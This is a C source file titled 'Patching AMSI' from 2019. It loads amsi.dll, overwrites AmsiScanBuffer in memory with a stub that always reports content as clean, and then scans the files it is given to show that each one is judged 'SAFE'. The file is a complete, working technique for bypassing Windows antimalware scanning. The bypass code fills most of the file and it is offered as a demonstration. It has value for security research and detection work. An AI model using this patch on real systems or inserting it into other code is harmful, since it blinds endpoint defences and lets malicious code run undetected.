Patching AMSI

amsiscan.c

/**
  BSD 3-Clause License

  Copyright (c) 2019 Odzhan. All rights reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are met:

  * Redistributions of source code must retain the above copyright notice, this
    list of conditions and the following disclaimer.

  * Redistributions in binary form must reproduce the above copyright notice,
    this list of conditions and the following disclaimer in the documentation
    and/or other materials provided with the distribution.

  * Neither the name of the copyright holder nor the names of its
    contributors may be used to endorse or promote products derived from
    this software without specific prior written permission.

  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
  FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
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  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
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  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#include <windows.h>
#include <amsi.h>

#include <stdio.h>

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
{
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

static VOID AmsiScanBufferStubEnd(VOID) {}

static BOOL PatchAmsi(VOID) {
    BOOL    patched = FALSE;
    HMODULE amsi;
    DWORD   len, op, t;
    LPVOID  cs;
    
    // load amsi
    amsi = LoadLibrary("amsi");
    
    if(amsi != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(amsi, "AmsiScanBuffer");
      
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)AmsiScanBufferStubEnd -
          (ULONG_PTR)AmsiScanBufferStub;
          
        // make the memory writeable
        VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op);
          
        // over write with stub
        memcpy(cs, &AmsiScanBufferStub, len);
        
        patched = TRUE;
        
        // set back to original protection
        VirtualProtect(cs, len, op, &t);
      }
    }
    return patched;
}

typedef HRESULT (WINAPI *AmsiInitialize_t)(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext);

typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result);

typedef void (WINAPI *AmsiUninitialize_t)(
  HAMSICONTEXT amsiContext);
  
BOOL IsMalware(const char *path) {
    AmsiInitialize_t   _AmsiInitialize;
    AmsiScanBuffer_t   _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HAMSICONTEXT       ctx;
    AMSI_RESULT        res;
    HMODULE            amsi;
    
    HANDLE             file, map, mem;
    HRESULT            hr = -1;
    DWORD              size, high;
    BOOL               malware = FALSE;
    
    // load amsi library
    amsi = LoadLibrary("amsi");
    
    // resolve functions
    _AmsiInitialize = 
      (AmsiInitialize_t)
      GetProcAddress(amsi, "AmsiInitialize");
    
    _AmsiScanBuffer =
      (AmsiScanBuffer_t)
      GetProcAddress(amsi, "AmsiScanBuffer");
      
    _AmsiUninitialize = 
      (AmsiUninitialize_t)
      GetProcAddress(amsi, "AmsiUninitialize");
      
    // return FALSE on failure
    if(_AmsiInitialize   == NULL ||
       _AmsiScanBuffer   == NULL ||
       _AmsiUninitialize == NULL) {
      printf("Unable to resolve AMSI functions.\n");
      return FALSE;
    }
    
    // open file for reading
    file = CreateFile(
      path, GENERIC_READ, FILE_SHARE_READ,
      NULL, OPEN_EXISTING, 
      FILE_ATTRIBUTE_NORMAL, NULL); 
    
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      size = GetFileSize(file, &high);
      if(size != 0) {
        // create mapping
        map = CreateFileMapping(
          file, NULL, PAGE_READONLY, 0, 0, 0);
          
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(
            map, FILE_MAP_READ, 0, 0, 0);
            
          if(mem != NULL) {
            // scan for malware
            hr = _AmsiInitialize(L"AMSI Example", &ctx);
            if(hr == S_OK) {
              hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
              if(hr == S_OK) {
                malware = (AmsiResultIsMalware(res) || 
                           AmsiResultIsBlockedByAdmin(res));
              }
              _AmsiUninitialize(ctx);
            }              
            UnmapViewOfFile(mem);
          }
          CloseHandle(map);
        }
      }
      CloseHandle(file);
    }
    return malware;
}

int main(int argc, char *argv[]) {
    int i;
    
    if(!PatchAmsi()) {
      printf("unable to patch Amsi.\n");
      return 0;
    }
    
    for(i=1; i<argc; i++) {
      // skip directories
      if(GetFileAttributes(argv[i]) & FILE_ATTRIBUTE_DIRECTORY) continue;
      // verify file
      printf("%-8s : %s\n",
        IsMalware(argv[i]) ? "HARMFUL" : "SAFE",
        argv[i]);
    }
    return 0;
}